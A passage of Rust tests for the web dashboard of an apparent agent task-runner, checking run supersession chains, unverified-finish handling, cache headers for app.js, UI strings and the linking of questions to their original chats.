23719    fn task_outcome_does_not_guess_a_finishing_run() {
23720        let a = "20260901-000000-aaaa";
23721        let b = "20260901-000000-bbbb";
23722        let c = "20260901-000000-cccc";
23723        let dir = tempfile::tempdir().expect("tempdir");
23724        write_run(dir.path(), a, RunStatus::Blocked);
23725        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23726        // `c` has no record: unreadable.
23727        let read = |id: &str| read_run(dir.path(), id).ok();
23728        // Neither a blocked run nor a no-op finished the task; the newest run is
23729        // unreadable and still named.
23730        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23731        let out = task_outcome(&t, a, 3, read);
23732        assert!(out.finished_by.is_none());
23733        assert!(out.closed_by_hand);
23734        let latest = out.latest.expect("latest");
23735        assert_eq!(latest.id, c);
23736        assert_eq!(latest.status, None);
23737        assert_eq!(latest.outcome, "record unreadable");
23738
23739        // A Ready run settles the task as done, so it is named as the finisher.
23740        write_run(dir.path(), c, RunStatus::Ready);
23741        let t = outcome_task(&[a, c], TaskStatus::Done);
23742        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23743        assert_eq!(out.finished_by.expect("finisher").id, c);
23744        assert!(!out.closed_by_hand);
23745
23746        // A resumed run id repeats: it is still the latest by id.
23747        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23748        assert!(task_outcome(&t, a, 3, read).is_latest);
23749    }
23750
23751    #[tokio::test]
23752    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23753        // The list route has known this since the card fix above; the detail
23754        // route — what an operator actually opens from a notification about
23755        // a blocked run — did not, and went on showing a bare red BLOCKED
23756        // chip for a run a retry had already finished.
23757        let fx = Fixture::start().await;
23758        let q = fx.queue();
23759        let runs = fx.runs();
23760        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23761        write_run(&runs, first, RunStatus::Blocked);
23762        write_run(&runs, second, RunStatus::Merged);
23763
23764        let mut t = Task::new(
23765            "one task".to_owned(),
23766            "do it".to_owned(),
23767            PathBuf::from("/repo"),
23768            Source::Human,
23769        );
23770        t.runs = vec![first.to_owned(), second.to_owned()];
23771        q.put(&mut t).expect("put");
23772
23773        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23774        assert_eq!(earlier["superseded_by"], "dddd");
23775        assert_eq!(earlier["latest_attempt"]["id"], second);
23776        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23777        assert_eq!(
23778            earlier["latest_attempt"]["resolved"], true,
23779            "the run that replaced it landed, so this one reads as settled"
23780        );
23781
23782        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23783        assert!(
23784            later["superseded_by"].is_null(),
23785            "the latest attempt is not superseded by anything"
23786        );
23787        assert!(
23788            later["latest_attempt"].is_null(),
23789            "the latest attempt has no later attempt of its own"
23790        );
23791
23792        // Front end: the detail page has to read the field this route now
23793        // carries, downgrade the chip, and link to the run that replaced it —
23794        // not just repeat the list card's own logic under a different name.
23795        // The link is built off `latest_attempt.id`, the server-resolved
23796        // full id, never a bare short string a client would have to guess a
23797        // full run from.
23798        assert!(APP_JS.contains("run.latest_attempt"));
23799        assert!(APP_JS.contains("data-superseded"));
23800        assert!(APP_JS.contains("#/runs/${latest.id}"));
23801    }
23802
23803    #[tokio::test]
23804    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23805        // A -> B -> C, all Blocked except the last. A's immediate successor
23806        // (superseded_by) is B, which is itself unresolved; what an operator
23807        // opening A's page actually needs is where the task's story stands
23808        // *now* - C, not B - without depending on whether C happens to be in
23809        // whatever page of /api/runs the client last cached.
23810        let fx = Fixture::start().await;
23811        let q = fx.queue();
23812        let runs = fx.runs();
23813        let (a, b, c) = (
23814            "20260901-000000-aaaa",
23815            "20260901-000000-bbbb",
23816            "20260901-000000-cccc",
23817        );
23818        write_run(&runs, a, RunStatus::Blocked);
23819        write_run(&runs, b, RunStatus::Blocked);
23820        write_run(&runs, c, RunStatus::Merged);
23821
23822        let mut t = Task::new(
23823            "retried twice".to_owned(),
23824            "do it".to_owned(),
23825            PathBuf::from("/repo"),
23826            Source::Human,
23827        );
23828        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23829        q.put(&mut t).expect("put");
23830
23831        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23832        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23833        assert_eq!(
23834            view["latest_attempt"]["id"], c,
23835            "the chain's current head, not the intermediate Blocked retry"
23836        );
23837        assert_eq!(view["latest_attempt"]["resolved"], true);
23838
23839        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23840        assert_eq!(mid["latest_attempt"]["id"], c);
23841        assert_eq!(mid["latest_attempt"]["resolved"], true);
23842    }
23843
23844    #[tokio::test]
23845    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23846        let fx = Fixture::start().await;
23847        let q = fx.queue();
23848        let runs = fx.runs();
23849
23850        // Still Blocked: the task is not resolved, so the older run must not
23851        // read as settled either.
23852        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23853        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23854        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23855        let mut t1 = Task::new(
23856            "still stuck".to_owned(),
23857            "do it".to_owned(),
23858            PathBuf::from("/repo"),
23859            Source::Human,
23860        );
23861        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23862        q.put(&mut t1).expect("put");
23863        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23864        assert_eq!(view1["latest_attempt"]["resolved"], false);
23865        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23866        assert_eq!(view1["latest_attempt"]["done"], true);
23867
23868        // Still running: the successor exists and must be reported as such.
23869        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23870        write_run(&runs, run_a, RunStatus::Blocked);
23871        write_run(&runs, run_b, RunStatus::Implementing);
23872        let mut t3 = Task::new(
23873            "retrying".to_owned(),
23874            "do it".to_owned(),
23875            PathBuf::from("/repo"),
23876            Source::Human,
23877        );
23878        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23879        q.put(&mut t3).expect("put");
23880        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23881        assert_eq!(view3["latest_attempt"]["id"], run_b);
23882        assert_eq!(view3["latest_attempt"]["resolved"], false);
23883        assert_eq!(view3["latest_attempt"]["done"], false);
23884
23885        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23886        // to check - not a confirmed finish, so this must not read as
23887        // resolved either, even though the run is done in the sense that
23888        // nothing is still running.
23889        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23890        write_run(&runs, noop_a, RunStatus::Blocked);
23891        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23892        let mut t2 = Task::new(
23893            "claims done".to_owned(),
23894            "do it".to_owned(),
23895            PathBuf::from("/repo"),
23896            Source::Human,
23897        );
23898        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23899        q.put(&mut t2).expect("put");
23900        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23901        assert_eq!(
23902            view2["latest_attempt"]["resolved"], false,
23903            "an unverified no-op claim must not read as a confirmed finish"
23904        );
23905
23906        // Front end: an unresolved successor must not carry the "finished
23907        // this work" note or the muted chip treatment.
23908        assert!(APP_JS.contains("latest.resolved"));
23909        // ...but the link to it shows as soon as it exists, labelled by state
23910        // and without the "finished" wording or the muted chip.
23911        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23912        assert!(APP_JS.contains("Latest attempt: "));
23913        assert!(APP_JS.contains("in flight"));
23914        assert!(APP_JS.contains("not resolved"));
23915    }
23916
23917    #[tokio::test]
23918    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23919        let fx = Fixture::start().await;
23920        // No cache header at all meant browsers invented their own policy,
23921        // and one did: a phone went on showing "Candidates must be folded
23922        // before deleting. Run `magi fold` first." - deleted two releases
23923        // earlier - from a deck that no longer contained the sentence. The
23924        // button it named was right there, and unreachable.
23925        let js = fx.get("/app.js").await;
23926        assert_eq!(js.status, 200);
23927        let tag = js
23928            .header("etag")
23929            .expect("an etag to revalidate against")
23930            .to_owned();
23931        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23932        assert_eq!(
23933            js.header("cache-control"),
23934            Some("no-cache, must-revalidate"),
23935            "the phone has to ask every time"
23936        );
23937
23938        // And the asking has to be cheap, or `must-revalidate` just means
23939        // "send the whole interface on every load".
23940        let again = fx
23941            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23942            .await;
23943        assert_eq!(
23944            again.status, 304,
23945            "a deck it already has costs one round trip"
23946        );
23947        assert!(again.body.is_empty(), "304 carries no body");
23948
23949        // A weakened tag from a proxy still matches; a different build does
23950        // not, which is the case that has to deliver the new interface.
23951        let weak = fx
23952            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23953            .await;
23954        assert_eq!(weak.status, 304);
23955        let stale = fx
23956            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23957            .await;
23958        assert_eq!(stale.status, 200, "an older build must be replaced");
23959        assert!(stale.body.contains("renderRunActions"));
23960    }
23961
23962    #[test]
23963    fn the_task_detail_has_an_actions_fab_and_sheet() {
23964        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23965        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23966        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23967        // Shown only on the task route, closed everywhere else.
23968        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23969        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23970        // Refreshed whenever the detail redraws, including the loading state.
23971        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23972        assert!(APP_JS.contains("renderTaskActions(null);"));
23973        // Same renderers and routes as the Queue card, no new endpoint.
23974        let sheet = APP_JS
23975            .find("function renderTaskActions")
23976            .expect("sheet renderer");
23977        let body = &APP_JS[sheet..sheet + 3000];
23978        assert!(body.contains("changePriority("));
23979        assert!(body.contains("openTaskEdit(task)"));
23980        assert!(body.contains("renderTaskHoldBox(host"));
23981        assert!(body.contains("renderTaskDoneBox(host"));
23982        assert!(body.contains("renderTaskDeleteBox(host"));
23983        assert!(APP_JS.contains("API.priority(id)"));
23984        assert!(APP_JS.contains("API.deleteTask(id)"));
23985        // A deleted task sends the operator back to the queue.
23986        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23987        // A refusal is shown inside the sheet.
23988        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23989    }
23990
23991    #[test]
23992    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23993        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23994        let actions = INDEX_HTML
23995            .find("id=\"run-actions-box\"")
23996            .expect("actions box");
23997        assert!(task < actions, "the task entry comes first in the sheet");
23998        assert!(APP_JS.contains("renderRunTaskEntry"));
23999        assert!(APP_JS.contains("\"Open task \""));
24000        // A run without a task says why there is nothing to open.
24001        assert!(APP_JS.contains("started directly, no task"));
24002        assert!(APP_JS.contains("sheet-task-link"));
24003        assert!(APP_JS.contains("task-chip-link"));
24004    }
24005
24006    #[test]
24007    fn the_deck_never_sends_the_operator_to_a_terminal() {
24008        // The whole point of the phone UI is that a terminal is not needed.
24009        // The delete control used to answer with "Run `magi fold` first."
24010        assert!(
24011            !APP_JS.contains("Run `magi fold` first"),
24012            "the deck must offer the fold, not prescribe a shell command"
24013        );
24014        assert!(APP_JS.contains("foldRun:"));
24015        assert!(APP_JS.contains("resumeRun:"));
24016        assert!(APP_JS.contains("renderRunActions"));
24017
24018        // Folding is destructive and armed in two steps, like deleting.
24019        assert!(APP_JS.contains("armedFold"));
24020        assert!(APP_JS.contains("Yes, fold worktrees"));
24021
24022        // And the copy has to say that the two actions are opposites, because
24023        // folding throws away exactly what a resume would continue from.
24024        assert!(APP_JS.contains("can no longer be resumed"));
24025    }
24026
24027    #[test]
24028    fn a_finished_run_explains_itself_with_its_own_last_line() {
24029        // The deck used to answer "why did this stop?" with a sentence chosen
24030        // by status alone. Run e633 stalled because two judges answered with
24031        // the wrong JSON shape and its card said "The panel collapsed on
24032        // agent quota" - with `quota: []` in the record and a quota-loss
24033        // counter right above it that correctly said nothing.
24034        assert!(
24035            !APP_JS.contains("collapsed on agent quota"),
24036            "a stall must not be explained by a cause the deck did not check"
24037        );
24038        assert!(
24039            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24040            "and a block must not offer a guess with an `or` in it"
24041        );
24042
24043        // The reason it does have is `run.event`, which must reach finished
24044        // runs: gating it on movement hid the recorded truth at the one moment
24045        // the operator is reading the card to find out what happened.
24046        assert!(
24047            APP_JS.contains("setText(r.event, run.event || \"\")"),
24048            "the run's last line is rendered unconditionally"
24049        );
24050        assert!(
24051            !APP_JS.contains("moving && run.event"),
24052            "and never gated on the run still moving"
24053        );
24054
24055        // Quota keeps its own counter, fed by the number actually recorded.
24056        assert!(APP_JS.contains("lost to quota"));
24057    }
24058
24059    /// The runs tree (section) and the state chips (waiting/done) are two
24060    /// independent lenses ANDed together in `renderRuns`, and some pairings
24061    /// can never both be true for any run - every "Landed"/"Ended" run is
24062    /// done by construction, so pairing either with "Active" or "In flight"
24063    /// always rendered zero cards with the filter bar still claiming
24064    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
24065    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
24066    /// a handful of (waiting, status) shapes standing in for the run
24067    /// lifecycle, because `cargo test` cannot execute the front end.
24068    ///
24069    /// That stand-in list is itself the part that drifted twice in review:
24070    /// once shipped with `waiting: true` paired with a done status the
24071    /// lifecycle cannot produce, then over-corrected into treating every
24072    /// waiting run as never done - which made "Waiting on you" look
24073    /// incompatible with "Done" even for the one real, reachable shape
24074    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
24075    /// that combination. This test parses the shapes and the done-rule back
24076    /// out of `APP_JS`, reimplements `runSection` and the five state
24077    /// predicates independently in Rust, and checks the resulting
24078    /// section/filter compatibility table against the lifecycle rules by
24079    /// hand - so either direction of drift fails it again.
24080    #[test]
24081    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24082        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24083        let shapes_body_start =
24084            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24085        let shapes_close = APP_JS[shapes_body_start..]
24086            .find("].map(")
24087            .expect("the shape list is closed by its done-computing .map(...)")
24088            + shapes_body_start;
24089        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24090
24091        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24092        for entry in shapes_src.split('{').skip(1) {
24093            let waiting = entry.contains("waiting: true");
24094            let dead = entry.contains("live: \"dead\"");
24095            let status_at =
24096                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24097            let status_end = entry[status_at..]
24098                .find('"')
24099                .expect("the status string is closed")
24100                + status_at;
24101            let parked = entry.contains("display_status: \"parked\"");
24102            shapes.push((
24103                waiting,
24104                entry[status_at..status_end].to_string(),
24105                dead,
24106                parked,
24107            ));
24108        }
24109        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24110
24111        // The done rule itself (`!["implementing"].includes(shape.status)`),
24112        // read out of the source rather than hardcoded, so a renamed
24113        // in-flight status can't silently make every parsed shape "done".
24114        let done_rule_marker = "done: !";
24115        let done_rule_at = APP_JS[shapes_close..]
24116            .find(done_rule_marker)
24117            .expect("the done rule follows the shape list")
24118            + shapes_close
24119            + done_rule_marker.len();
24120        let includes_at = APP_JS[done_rule_at..]
24121            .find(".includes(shape.status)")
24122            .expect("the done rule ends in .includes(shape.status)")
24123            + done_rule_at;
24124        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24125            .trim()
24126            .trim_start_matches('[')
24127            .trim_end_matches(']')
24128            .split(',')
24129            .map(|s| s.trim().trim_matches('"'))
24130            .filter(|s| !s.is_empty())
24131            .collect();
24132
24133        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24134            .into_iter()
24135            .map(|(waiting, status, dead, parked)| {
24136                let done = !not_done.contains(&status.as_str());
24137                (waiting, status, dead, parked, done)
24138            })
24139            .collect();
24140
24141        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
24142        // outright, then merged/ready land, stalled/blocked/failed/
24143        // verified_noop end, and everything else is still in flight.
24144        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24145            if waiting {
24146                return "waiting";
24147            }
24148            if dead
24149                && !parked
24150                && !matches!(
24151                    status,
24152                    "merged"
24153                        | "ready"
24154                        | "stalled"
24155                        | "blocked"
24156                        | "failed"
24157                        | "verified_noop"
24158                        | "superseded"
24159                        | "already_in_base"
24160                )
24161            {
24162                return "stale";
24163            }
24164            match status {
24165                "merged" | "ready" => "landed",
24166                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24167                | "already_in_base" => "ended",
24168                _ => "flight",
24169            }
24170        }
24171
24172        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24173        // way.
24174        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24175            match filter_key {
24176                "active" => !done,
24177                "flight" => !done && !waiting && !dead,
24178                "stale" => !done && !waiting && dead,
24179                "waiting" => waiting,
24180                "done" => done,
24181                "all" => true,
24182                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24183            }
24184        }
24185
24186        let compatible = |section: &str, filter_key: &str| {
24187            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24188                run_section(*waiting, status, *dead, *parked) == section
24189                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24190            })
24191        };
24192
24193        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24194        // (active, flight, stale, waiting, done, all) - hand-derived from the
24195        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24196        // currently contains.
24197        let expected = [
24198            ("waiting", [true, false, false, true, true, true]),
24199            ("stale", [true, false, true, false, false, true]),
24200            ("flight", [true, true, false, false, false, true]),
24201            ("landed", [false, false, false, false, true, true]),
24202            ("ended", [false, false, false, false, true, true]),
24203        ];
24204        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24205
24206        for (section, wants) in expected {
24207            for (filter_key, want) in filter_keys.iter().zip(wants) {
24208                assert_eq!(
24209                    compatible(section, filter_key),
24210                    want,
24211                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24212                );
24213            }
24214        }
24215
24216        // The compatibility check exists only to be acted on: both pickers
24217        // must actually consult it rather than just render its answer.
24218        assert!(
24219            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24220        );
24221        assert!(APP_JS.contains(
24222            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24223        ));
24224        assert!(APP_JS.contains(
24225            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24226        ));
24227    }
24228
24229    #[tokio::test]
24230    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24231        // An operator-named directory - git checkout or not - is never
24232        // second-guessed, even when it does not exist at all: only the
24233        // flag's own unmodified `.` default is ever eligible for discovery.
24234        let dir = tempfile::tempdir().expect("tempdir");
24235        let explicit = dir.path().join("not-a-checkout");
24236        std::fs::create_dir_all(&explicit).expect("create dir");
24237        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24238
24239        let missing = dir.path().join("does-not-exist-at-all");
24240        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24241    }
24242
24243    #[test]
24244    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24245        assert!(APP_JS.contains("function statsDonutArcs"));
24246        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24247        // A bucket click filters by the statuses src/stats.rs counts in it.
24248        assert!(APP_JS.contains("function statusInBucket"));
24249        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24250        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24251        let buckets = [
24252            "merged",
24253            "ready",
24254            "in_progress",
24255            "blocked",
24256            "failed",
24257            "verified_noop",
24258            "superseded",
24259            "stalled",
24260        ];
24261        for key in buckets {
24262            let var = format!("--verdict-{key}:");
24263            // Light, OS-dark and pinned-dark blocks each define it.
24264            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24265            assert!(
24266                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24267                "{key}"
24268            );
24269        }
24270    }
24271
24272    #[tokio::test]
24273    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24274        let dir = tempfile::tempdir().expect("tempdir");
24275        let queue = Queue::at(dir.path().join("queue"));
24276        let talks = Talks::at(dir.path().join("talks"));
24277        std::fs::create_dir_all(queue.root()).unwrap();
24278        std::fs::create_dir_all(talks.root()).unwrap();
24279
24280        // Put a corrupt json file in both stores
24281        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24282        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24283
24284        // Valid task and talk
24285        let mut task = Task::new(
24286            "title".into(),
24287            "inst".into(),
24288            PathBuf::from("/repo"),
24289            Source::Human,
24290        );
24291        task.id = "20261019-123456-abcd".into();
24292        // Write manually so it's a valid file
24293        std::fs::write(
24294            queue.path_of(&task.id),
24295            serde_json::to_string(&task).unwrap(),
24296        )
24297        .unwrap();
24298
24299        let talk_id = "20261019-234567-cdef";
24300        seed_talk_at(&talks, talk_id, "open");
24301
24302        // Exact match should succeed without failing on the corrupt json file
24303        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24304        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24305
24306        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24307        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24308        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24309    }
24310
24311    #[tokio::test]
24312    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24313        let home = tempfile::tempdir().unwrap();
24314        let ui = delta_test_ui(home.path());
24315        // A full history traversal would fail even with no questions.
24316        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24317        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24318        assert!(
24319            questions_list(State(ui.clone()))
24320                .await
24321                .unwrap()
24322                .0
24323                .is_empty()
24324        );
24325        assert!(
24326            question_origins(State(ui.clone()))
24327                .await
24328                .unwrap()
24329                .0
24330                .is_empty()
24331        );
24332        let mut question = Question::new(
24333            "run-history".into(),
24334            "review".into(),
24335            "seat".into(),
24336            "Useful question".into(),
24337            "Useful detail".into(),
24338            vec![],
24339        );
24340        ui.questions.put(&mut question).unwrap();
24341        let core = questions_core(State(ui.clone())).await.unwrap().0;
24342        assert_eq!(core.len(), 1);
24343        assert_eq!(core[0].question.summary, "Useful question");
24344        assert!(!core[0].can_consult_chat);
24345        assert!(core[0].origin_chat.is_none());
24346        assert_eq!(core[0].record_revision, question_record_revision(&question));
24347        assert!(question_origins(State(ui.clone())).await.is_err());
24348        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24349    }
24350
24351    #[tokio::test]
24352    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24353        let home = tempfile::tempdir().unwrap();
24354        let ui = delta_test_ui(home.path());
24355        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24356        let mut parent = Task::new(
24357            "parent".into(),
24358            "body".into(),
24359            PathBuf::from("/repo"),
24360            Source::Agent {
24361                run: chat.clone(),
24362                node: crate::queue::CHAT_NODE.into(),
24363            },
24364        );
24365        parent.id = "parent-task".into();
24366        parent.runs = vec!["parent-run".into()];
24367        ui.queue.put(&mut parent).unwrap();
24368        let mut previous = parent;
24369        for generation in 1..=2 {
24370            let mut child = Task::new(
24371                "child".into(),
24372                "body".into(),
24373                PathBuf::from("/repo"),
24374                Source::Human,
24375            );
24376            child.id = format!("child-task-{generation}");
24377            child.runs = vec![format!("child-run-{generation}")];
24378            child.followup = Some(crate::queue::FollowUp {
24379                origin_task: Some(previous.id.clone()),
24380                run: previous.runs[0].clone(),
24381                pr: String::new(),
24382                findings: vec![],
24383                generation,
24384            });
24385            ui.queue.put(&mut child).unwrap();
24386            previous = child;
24387        }
24388        // A run may have the same spelling as another task's id; its owner
24389        // must not override a typed task reference.
24390        let mut collision = Task::new(
24391            "collision".into(),
24392            String::new(),
24393            PathBuf::from("/repo"),
24394            Source::Human,
24395        );
24396        collision.id = "collision-task".into();
24397        collision.runs = vec![previous.id.clone()];
24398        ui.queue.put(&mut collision).unwrap();
24399        let mut questions = Vec::new();
24400        for (node, reference, expected, eligible) in [
24401            (crate::triage::NODE, previous.id.as_str(), true, false),
24402            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24403            ("review", previous.runs[0].as_str(), true, true),
24404            (
24405                crate::bump::NOTICE_NODE,
24406                previous.runs[0].as_str(),
24407                true,
24408                false,
24409            ),
24410            // Identical text in the wrong reference namespace is not evidence.
24411            ("review", previous.id.as_str(), false, false),
24412            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24413            ("review", "unrelated", false, false),
24414        ] {
24415            let mut q = Question::new(
24416                reference.into(),
24417                node.into(),
24418                "seat".into(),
24419                "Question".into(),
24420                String::new(),
24421                vec![],
24422            );
24423            ui.questions.put(&mut q).unwrap();
24424            questions.push((q, expected, eligible));
24425        }
24426        for (node, reference, associated, eligible) in [
24427            (crate::reconcile::NODE, previous.id.as_str(), true, false),
24428            (
24429                crate::reconcile::NODE,
24430                previous.runs[0].as_str(),
24431                false,
24432                true,
24433            ),
24434            ("implement", previous.id.as_str(), false, false),
24435        ] {
24436            let mut q = Question::new(
24437                reference.into(),
24438                node.into(),
24439                crate::reconcile::SEAT.into(),
24440                "Reconcile".into(),
24441                String::new(),
24442                vec![],
24443            );
24444            ui.questions.put(&mut q).unwrap();
24445            questions.push((q, associated, eligible));
24446        }
24447        let mut release = Question::new(
24448            "release-record".into(),
24449            crate::bump::NOTICE_NODE.into(),
24450            "release-watch".into(),
24451            "Release".into(),
24452            String::new(),
24453            vec![],
24454        );
24455        ui.questions.put(&mut release).unwrap();
24456        let watch = crate::release_watch::WatchState {
24457            question: Some(release.id.clone()),
24458            run: Some(previous.runs[0].clone()),
24459            held_task: Some(previous.id.clone()),
24460            ..Default::default()
24461        };
24462        let watch_dir = home.path().join("release-watch");
24463        std::fs::create_dir_all(&watch_dir).unwrap();
24464        let watch_path = watch_dir.join("watch.json");
24465        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24466        // Ordinary questions and bump notices do not need watch-store I/O.
24467        for batch in [
24468            Vec::new(),
24469            questions.iter().map(|(q, _, _)| q.clone()).collect(),
24470        ] {
24471            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24472            assert!(watches.is_empty());
24473        }
24474        questions.push((release.clone(), true, false));
24475
24476        let views = questions_list(State(ui.clone())).await.unwrap().0;
24477        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24478        for (q, associated, eligible) in &questions {
24479            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24480            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24481            let expected = associated.then_some(chat.as_str());
24482            assert_eq!(
24483                view.origin_chat.as_deref(),
24484                expected,
24485                "{} {}",
24486                q.node,
24487                q.run
24488            );
24489            assert_eq!(origin.origin_chat.as_deref(), expected);
24490            assert_eq!(view.origin_chat_closed, *associated);
24491            assert_eq!(origin.origin_chat_closed, *associated);
24492            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24493            assert_eq!(origin.can_consult_chat, *eligible);
24494        }
24495        // Either saved link independently recovers a release question's owner.
24496        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24497            let link = crate::release_watch::WatchState {
24498                run,
24499                held_task,
24500                ..watch.clone()
24501            };
24502            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24503            let (tasks, talks, watches) =
24504                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24505            assert_eq!(
24506                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24507                    .unwrap()
24508                    .id,
24509                chat,
24510            );
24511            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24512        }
24513        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24514        // Even identical duplicate records are ambiguous: ignore their links.
24515        let duplicate_path = watch_dir.join("duplicate.json");
24516        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24517        let (tasks, talks, watches) =
24518            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24519        assert!(
24520            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24521                .is_none()
24522        );
24523        std::fs::remove_file(duplicate_path).unwrap();
24524        // Another explicit owner is a conflict even if it has no chat.
24525        let mut unrelated = Task::new(
24526            "other".into(),
24527            String::new(),
24528            PathBuf::from("/repo"),
24529            Source::Human,
24530        );
24531        unrelated.id = "unrelated-task".into();
24532        ui.queue.put(&mut unrelated).unwrap();
24533        let mut conflicting = watch.clone();
24534        conflicting.held_task = Some(unrelated.id);
24535        std::fs::write(
24536            watch_dir.join("conflict.json"),
24537            serde_json::to_vec(&conflicting).unwrap(),
24538        )
